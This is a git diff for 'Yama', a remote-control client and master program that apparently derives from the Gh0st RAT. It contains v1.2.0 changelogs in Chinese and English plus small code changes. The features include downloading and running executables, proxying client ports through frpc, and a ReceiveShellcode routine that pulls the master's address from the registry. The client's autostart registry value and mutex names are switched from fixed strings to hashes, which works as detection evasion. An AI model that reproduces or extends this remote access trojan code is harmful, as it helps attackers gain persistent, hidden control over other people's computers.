diff --git a/ReadMe.md b/ReadMe.md index 3a56148..a4a805f 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -430,6 +430,35 @@ Release v1.1.4 * 修复: 客户端离线问题和虚拟桌面打开问题 * 改进: 为客户端程序计算唯一 ID +**2025.12.25** + +发布版本 v1.2.0: + +本次更新主要涉及远程桌面优化、Go 语言服务端框架、授权系统改进以及多项 Bug 修复。 + +* 功能: 新增 Go 语言 TCP 服务端框架 +* 功能: 使用 `frpc.dll` 代理客户端 TCP 端口 +* 功能: 支持上传/下载并运行可执行文件 +* 功能: 为远程桌面控制添加重连逻辑 +* 功能: 完善客户端重新分组逻辑并添加日志控制 +* 功能: 添加客户端向主控端发送消息的命令 +* 功能: 支持生成绑定域名的口令 +* 改进: 4K 远程桌面缩放至 1080P 显示 (#267) +* 改进: 使用弹出对话框退出全屏(移除 F11 快捷键) +* 改进: 支持向远程桌面发送 WIN 键 +* 改进: 更改客户端程序的注册表/互斥锁名称 +* 改进: 主机上线通知改为异步消息处理 +* 改进: 添加 HMAC 验证主控端口令 +* 修复: 远程桌面相关的小问题 +* 修复: 使用 PowerShell 获取硬件信息(Windows 7 及以上) +* 修复: 窗口未使用 DWM 渲染时远程屏幕黑屏问题 +* 修复: 非默认分组客户端显示在默认列表的问题 +* 修复: 日期验证导致主控程序 UI 阻塞的问题 +* 修复: 操作 `CharMsg` 时的栈溢出问题 +* 修复: 重写 FRPC 设置文件前先删除旧文件 +* 修复: 撤销在 `ProgramData` 中复制并运行客户端程序的更改 +* 服务端: Go 语言授权客户端验证成功后自动退出 + --- # 6.其他项目 diff --git a/ReadMe_EN.md b/ReadMe_EN.md index a68be8d..6385621 100644 --- a/ReadMe_EN.md +++ b/ReadMe_EN.md @@ -447,6 +447,36 @@ This update focuses on improving client stability and running modes, optimizing * fix: Client offline issue and virtual desktop opening issue * Improve: Calculate unique ID for client program + +**2025.12.25** + +Release v1.2.0 + +This update focuses on remote desktop optimization, Go language server framework, authorization system improvements, and various bug fixes. + +* Feature: Add Go TCP server framework +* Feature: Use `frpc.dll` to proxy client's TCP port +* Feature: Support upload/download executable file and run it +* Feature: Add reconnect logic for remote desktop control +* Feature: Complete re-group logic and add log control +* Feature: Add command for client sending msg to master +* Feature: Support gen pass code binding with domain +* Improve: Scale 4K desktop screen to 1080P (#267) +* Improve: Remove F11 to leave full screen (Use popup dialog) +* Improve: Send `WIN` key press action to remote desktop +* Improve: Change registry/mutex name of client program +* Improve: Move host online notification to `PostMessage` +* Improve: Add HMAC to verify master's Passcode +* fix: Small issues related to remote desktop control +* fix: Use PowerShell to get hardware info (>=Win7) +* fix: Remote screen black if the window doesn't use DWM to render +* fix: Non default group client showing in default list +* fix: DateVerify causes master program UI blocked +* fix: Stack overflow when operating `CharMsg` +* fix: Remove FRPC settings file before re-write it +* fix: Revert copy and run client program in `ProgramData` +* Server/go: Authorization client automatically exit if verify succeed + --- # 6. Related Projects diff --git a/Releases/v1.1.9/Yama.exe b/Releases/v1.2.0/Yama.exe similarity index 70% rename from Releases/v1.1.9/Yama.exe rename to Releases/v1.2.0/Yama.exe index 8198a03..b470ec8 100644 Binary files a/Releases/v1.1.9/Yama.exe and b/Releases/v1.2.0/Yama.exe differ diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index af5dfa8..9e78a49 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -10,7 +10,7 @@ extern "C" { } // 自动启动注册表中的值 -#define REG_NAME "a_ghost" +#define REG_NAME GetExeHashStr().c_str() // 启动的客户端个数 #define CLIENT_PARALLEL_NUM 1 diff --git a/client/Script.rc b/client/Script.rc index 1b5c7c1..aaef4f5 100644 --- a/client/Script.rc +++ b/client/Script.rc @@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav" // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,0,1,9 + FILEVERSION 1,0,2,0 PRODUCTVERSION 1,0,0,1 FILEFLAGSMASK 0x3fL #ifdef _DEBUG @@ -106,7 +106,7 @@ BEGIN BEGIN VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "FileDescription", "A GHOST" - VALUE "FileVersion", "1.0.1.9" + VALUE "FileVersion", "1.0.2.0" VALUE "InternalName", "ServerDll.dll" VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "OriginalFilename", "ServerDll.dll" diff --git a/client/TestRun.rc b/client/TestRun.rc index 95f4497..23e12b0 100644 Binary files a/client/TestRun.rc and b/client/TestRun.rc differ diff --git a/client/main.c b/client/main.c index 1597418..812771a 100644 --- a/client/main.c +++ b/client/main.c @@ -226,7 +226,15 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) char addr[100] = { 0 }, hash[33] = { 0 }; strcpy(addr, sIP); - const char* path = "Software\\ServerD11\\settings"; + BOOL isAuthKernel = FALSE; + char eventName[64]; + snprintf(eventName, sizeof(eventName), "YAMA_%d", GetCurrentProcessId()); + HANDLE hEvent = OpenEventA(SYNCHRONIZE, FALSE, eventName); + if (hEvent) { + CloseHandle(hEvent); + isAuthKernel = TRUE; + } + const char* path = isAuthKernel ? "Software\\YAMA\\auth" : "Software\\ServerD11\\settings"; char* saved_ip = ReadRegistryString(path, "master"); char* saved_port = ReadRegistryString(path, "port"); char* valid_to = ReadRegistryString(path, "valid_to"); diff --git a/client/test.cpp b/client/test.cpp index 2a86ffe..d2c545a 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -18,7 +18,7 @@ extern "C" { #pragma comment(lib, "ws2_32.lib") // 自动启动注册表中的值 -#define REG_NAME "ClientDemo" +#define REG_NAME GetExeHashStr().c_str() typedef void (*StopRun)(); diff --git a/compress/zstd/zstd.lib b/compress/zstd/zstd.lib index 4ef1f5c..9120b4a 100644 Binary files a/compress/zstd/zstd.lib and b/compress/zstd/zstd.lib differ diff --git a/compress/zstd/zstd_x64.lib b/compress/zstd/zstd_x64.lib index 4e09c68..de7818e 100644 Binary files a/compress/zstd/zstd_x64.lib and b/compress/zstd/zstd_x64.lib differ diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index cf21edf..8865c9f 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 4073f54..a700f00 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -2738,6 +2738,13 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) // if(0) { BOOL authorized = AuthorizeClient(hb.SN, hb.Passcode, hb.PwdHmac); + if (authorized) { + Mprintf("%s HMAC 校验成功: %lld\n", hb.Passcode, hb.PwdHmac); + std::string tip = std::string(hb.Passcode) + " 授权成功: "; + tip += std::to_string(hb.PwdHmac) + "[" + std::string(ctx->GetClientData(ONLINELIST_IP)) + "]"; + CharMsg* msg = new CharMsg(tip.c_str()); + PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL); + } HeartbeatACK ack = { hb.Time, (char)authorized }; BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK}; memcpy(buf + 1, &ack, sizeof(HeartbeatACK));